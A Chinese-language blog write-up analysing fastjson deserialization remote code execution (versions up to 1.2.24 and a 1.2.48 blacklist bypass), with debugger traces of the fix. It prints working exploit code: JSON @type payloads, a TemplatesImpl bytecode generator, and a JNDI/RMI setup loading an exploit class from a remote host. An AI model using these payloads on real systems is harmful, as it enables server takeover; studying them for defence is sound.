fastjson反序列化漏洞原理及利用
重要漏洞利用poc及版本
我是从github
上的参考中直接copy
的exp
,这个类就是要注入的类
import java.lang.Runtime;
import java.lang.Process;
public class Exploit {
public Exploit() {
try{
// 要执行的命令
String commands = "calc.exe";
Process pc = Runtime.getRuntime().exec(commands);
pc.waitFor();
} catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv) {
Exploit e = new Exploit();
}
}
网上经常分析的17年的一个远程代码执行漏洞
适用范围 版本 <= 1.2.24
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi:/ip:port/Exploit","autoCommit":true}
FastJson最新爆出的绕过方法
适用范围 版本 <= 1.2.48
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://ip:port/Exploit","autoCommit":true}}";
预备知识
使用spring boot
来搭建本次的环境,这样对java的版本和fastjson版本的修改十分的轻松,选取的依赖如下
使用的是fastjson 1.2.24
版本
写一个像javabean一样作用的类
这里直接用参考的一篇freebuf上的代码了,作用很简单,设置了age
,username
的设置和读取,secret
的读取
package com.fastjson.demo;
class Demo2User {
private int age;
public String username;
private String secret;
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public String getUsername() {
return username;
}
public void setUsername(String username) {
this.username = username;
}
public String getSecret() {
return secret;
}
@Override
public String toString() {
return this.age + "," + this.username + "," + this.secret;
}
}
fastjson的工作形式
fastjson
的功能就是将json
格式转换为类、字符串等供下一步代码的调用,或者将类、字符串等数据转换成json
数据进行传输,有点类似序列化的操作
首先介绍下序列化
操作和反序列化
操作需要的函数
函数 | 作用 |
---|---|
JSON.toJSONString(Object) | 将对象序列化成json 格式 |
JSON.toJSONString(Object,SerializerFeature.WriteClassName) | 将对象序列化成json 格式,并且记录了对象所属的类的信息 |
JSON.parse(Json) | 将json 格式返回为对象(但是反序列化类对象没有@Type时会报错) |
JSON.parseObject(Json) | 返回对象是com.alibaba.fastjson.JSONObject 类 |
JSON.parseObject(Json, Object.class) | 返回对象会根据json 中的@Type来决定 |
JSON.parseObject(Json, User.class, Feature.SupportNonPublicField); | 会把Json数据对应的类中的私有成员也给还原 |
对应测试的例子,代码如下
public class Demo2test1 {
public static void main(String[] args){
Demo2User demo2User = new Demo2User();
demo2User.setAge(10);
demo2User.setUsername("sijidou");
String ser1 = JSON.toJSONString(demo2User);
System.out.println(ser1);
String ser2 = JSON.toJSONString(demo2User, SerializerFeature.WriteClassName);
System.out.println(ser2);
System.out.println("==========完美的分割线============");
Demo2User demo2User1 = (Demo2User) JSON.parse(ser2);
System.out.println(demo2User1);
Object demo2User2 = JSON.parseObject(ser2);
System.out.println(demo2User2.getClass().getName());
Object demo2User3 = JSON.parseObject(ser2, Object.class);
System.out.println(demo2User3);
Object demo2User4 = JSON.parseObject(ser2,Object.class, Feature.SupportNonPublicField);
System.out.println(demo2User4);
}
}
可以从上面简单的函数介绍中看出,对于序列化成json
格式,用JSON.toJSONString(Object,SerializerFeature.WriteMapNullValue)
更加方便
而从json
反序列回来,一般用JSON.parseObject()
来实现
漏洞利用
对于 fastjson版本 <= 1.2.24
的情况,利用思路主要有2种
- 通过触发点
JSON.parseObject()
这个函数,将json
中的类设置成com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
并通过特意构造达到命令执行 - 通过
JNDI注入
利用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
TemplatesImpl类
,而这个类有一个字段就是_bytecodes
,有部分函数会根据这个_bytecodes
生成java实例,这就达到fastjson通过字段传入一个类
,再通过这个类被生成时执行构造函数。
首选准备好poc,也就是之后会装到_bytecodes
里面的内容,本地测试是windows系统,所以直接弹计算器,用java运行一下,就会生成poc.class
文件
package com.fastjson.demo;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class poc extends AbstractTranslet {
public poc() throws IOException {
Runtime.getRuntime().exec("calc.exe");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
@Override
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException {
}
public static void main(String[] args) throws Exception {
poc t = new poc();
}
}
拿到这个文件,将其内容进行base64编码,我拿vulhub
上用php写的exploit.php
改了改
<?php
$bytes = file_get_contents('poc.class');
$json = '{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["'.base64_encode($bytes).'"],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}';
echo $json;
同目录下运行
准备下接受的代码,我从vulhub
上的fastjson
项目进行修改的,使代码更加简洁,逻辑很简单从post的body中的数据进行fastjson
的序列化
public class Demo3{
public void init()
{
get("/", (req, res) -> "Hello World");
post("/", (request, response) -> {
String data = request.body();
JSONObject obj = JSON.parseObject(data, Feature.SupportNonPublicField);
return "122";
});
}
public static void main(String[] args)
{
Demo3 i = new Demo3();
i.init();
}
}
运行下能够成功触发计算器
漏洞分析
debug跟踪下堆栈看看发生了什么
最先肯定是传入点JSON.parseObject(data, Feature.SupportNonPublicField);
接口,这个漏洞利用方法必须要存在Feature.SupportNonPublicField
设置(即允许private对象传入)
接下来会到JSON
类中,发现JSON.parseObject()
其实是调用了JSON.parse()
下一步会进到这个函数里,是对可控长度变量的分析,这里也就是Feature.SupportNonPublicField
的开启识别
调用parse(String text, int features)
,继续执行parser.parse()
接口
之后进入DeafultJSONParser.java
通过switch判断,进入到LBRACE
中
继续跟进会调用deserializer.deserialze(this, clazz, fieldName)
进入了JavaBeanDeserializer.java
中,这段主要是进行反序列化操作了
之后会进入到DefaultFieldDeserializer.java
中调用setValue
来设置参数了
设置参数是会调用FieldDeserializer.java
中的setValue
,已经可以看到Method
方法,标志着这里触发反射
前面的参数会不满足if(method != null)
的判断,到outputProperties
的时候,因为它是个类,存在method
,于是进入if
分支
最终到了触发点,invoke
单步跟踪2次,是对_bytecodes
中的base64,对应的.class
文件中的类进行还原,然后触发构造函数中的代码执行,触发计算器
这里单步跟踪2次时候没有任何反应,之后发现是没对com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
类没进行下载,并且没有进行下断点.....
那么在这个点继续跟进,首先仔细看上面反射调用的方法com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
进TemplatesImpl
类里面对getOutputProperties()
下断点
继续跟踪newTransformer()
方法,看名字就是新生成一个Transformer
在第486行调用了getTransletInstance()
方法,之后进入getTransletInstance()
方法中
因为我们精心构造的exp里面没有__class
成员变量,所以会触发defineTransletClasses()
方法,跟进
进入后是对 _bytecodes字段进行base64解码后还原这个class
,之后就出来回到了getTransletInstance()
可以看到455行的translet
被赋值成class.com.fastjson.demo.poc
也就是我们构造的的poc类
,在456行进行初始化的时候,触发代码执行
通过jndi注入
jndi
是一个Java命令和目录接口,举个例子,通过jndi
进行数据库操作,无需知道它数据库是mysql
还是ssql
,还是MongoDB
等,它会自动识别。
当然rmi
也可以通过jndi
实现,rmi
的作用相当于在服务器上创建了类的仓库的api
,客户端只用带着参数去请求,服务器进行一系列处理后,把运算后的参数还回来。
这里漏洞利用要明确思路:
攻击者在本地启一个rmi
的服务器,上面挂上恶意的payload
让被攻击的目标反序列化特定的类,这个类最终会调用lookup()
函数,导致jndi
接口指向我们的rmi服务器
上的恶意payload
利用方法
在本地挂上恶意代码执行的类,本地复现到了实际中又因为要公网ip所以要重新部署,所以我这里就直接把恶意的Exp
和rmi
服务器都放在vps上了
准备Exp
import java.lang.Runtime;
import java.lang.Process;
public class Exp {
public Exp() {
try{
// 要执行的命令
String commands = "calc";
Process pc = Runtime.getRuntime().exec(commands);
pc.waitFor();
} catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv) {
Exp e = new Exp();
}
}
编译一下
javac Exp.java
在本地启动rmi
服务器,这里推荐github上的一个项目marshalsec
https://github.com/mbechler/marshalsec
需要用maven进行生成jar包,进入marshalsec
目录后
git clone https://github.com/mbechler/marshalsec.git
cd marshalse
mvn clean package -Dmaven.test.skip=true
之后使用过的是这个包,可以移动到仍意目录都可以
接下来就是启动rmi
服务器了,这里要做2个步骤
第一使用python的SimpleHTTPServer
模块在刚刚编译好的Exp.class
目录下开一个web服务
python -m SimpleHTTPServer 8000
访问下网页是能看到的
之后利用marshalsec
,启动rmi
服务,再开一个shell
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://mi0.xyz:8000/#Exp
万事已经准备好了,接下来只要在被攻击的目标(这里是本机)发送python进JSON.parse()
就会触发
import com.alibaba.fastjson.JSON;
public class poc {
public static void main(String[] args) throws Exception {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://134.175.147.161:1099/Exp\",\"autoCommit\":true}";
JSON.parse(payload);
}
}
成功弹出计算器
之前一直尝试不成功,改了下jre
的版本为1.8_102能够触发
1.2.25之后修复方案
在1.2.25之后,在ParserConfig.java
中添加了public Class<?> checkAutoType(String typeName, Class<?> expectClass)
过滤的函数
注意其中的这一段,如果类的名字开头在deny名单里面,就直接抛出错误了
看看denyList
的名单
private String[] denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(",");
最新fastjson绕过黑名单REC
- 此次漏洞危害范围是
fastjson
<= 1.2.48
vps
上的准备方法和上面讲到的jndi
注入是一样的,唯一的区别在于发送的payload不同,以下payload可以绕过黑名单校验
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://ip:port/Exploit","autoCommit":true}}";
实现原理是利将JdbcRowSetImpl
类加入到mappings
的缓存,在JdbcRowSetImpl
类进入黑名单过滤之前,fastjson
会先看缓存里面有没有这个类,有的话,就直接返回了。也就是没有走进黑名单过滤,就结束了check
我们把上面的payload发送到fastjson
1.2.25版本中,走到了checkAutoType()
的位置
进入函数,很明显java.lang.Class
不在黑名单内
顺利通过
接下来会加载java.lang.Class
类
跟进之后,在这里把JdbcRowSetImpl
类付给了objVal
变量
在这里将刚刚objVal
的值赋值给了strVal
接下来调用了loadClass
跟进loadClass
,首先查看JdbcRowSetImpl
类是不是在mappings
中
这里当然是不在的,因此把JdbcRowSetImpl
类加入到该mappings
中
之后在回到对JdbcRowSetImpl
类的检验地方了
跟进进入,到这里会根据类名从mapping
中取出对象,很明显,刚刚是把JdbcRowSetImpl
类是加入到mappings
中的,因此是可以取出来
之后会根据取出的值是否为null
进行判断,通过下图,已经看到在黑名单前,就返回了
之后可以看到类JdbcRowSetImpl
已经过了该限制了
打一波,成功触发
参考链接
https://www.freebuf.com/vuls/178012.html
https://www.cnblogs.com/mrchang/p/6789060.html
https://www.cnblogs.com/hac425/p/9800288.html
https://www.jianshu.com/p/2bc43d16a3a6